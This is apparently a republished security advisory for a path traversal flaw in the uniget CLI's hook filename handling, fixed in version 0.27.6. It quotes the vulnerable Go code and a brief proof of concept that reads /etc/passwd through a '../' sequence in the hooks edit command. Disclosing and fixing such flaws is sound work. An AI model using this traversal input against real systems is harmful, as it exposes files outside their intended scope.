uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
Published 17 Aug 2026 · Updated 18 Aug 2026
Is your project on an affected gitlab.com/uniget-org/cli?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- <0.27.6
- Fixed in
- 0.27.6
go get gitlab.com/uniget-org/cli@v0.27.6Details
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).
Details
File: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) Lines 135-160
hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...]
<img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />
Is GHSA-m6jg-wr9m-cg2f in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected gitlab.com/uniget-org/cli, and gives you the command that fixes it.
More advisories for gitlab.com/uniget-org/cli
- LowGO-2026-6246uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set in gitlab.com/uniget-org/cli · 18 Aug 2026
- LowCVE-2026-55061uniget CLI has an EDITOR Command Injection in gitlab.com/uniget-org/cli · 18 Aug 2026
- HighGHSA-fhgh-wq4q-r37xuniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set · 17 Aug 2026
- MediumCVE-2026-55061uniget CLI has an EDITOR Command Injection · 17 Aug 2026
- LowCVE-2026-45152uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution in gitlab.com/uniget-org/cli · 25 Jun 2026
- HighCVE-2026-45152uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution · 13 May 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.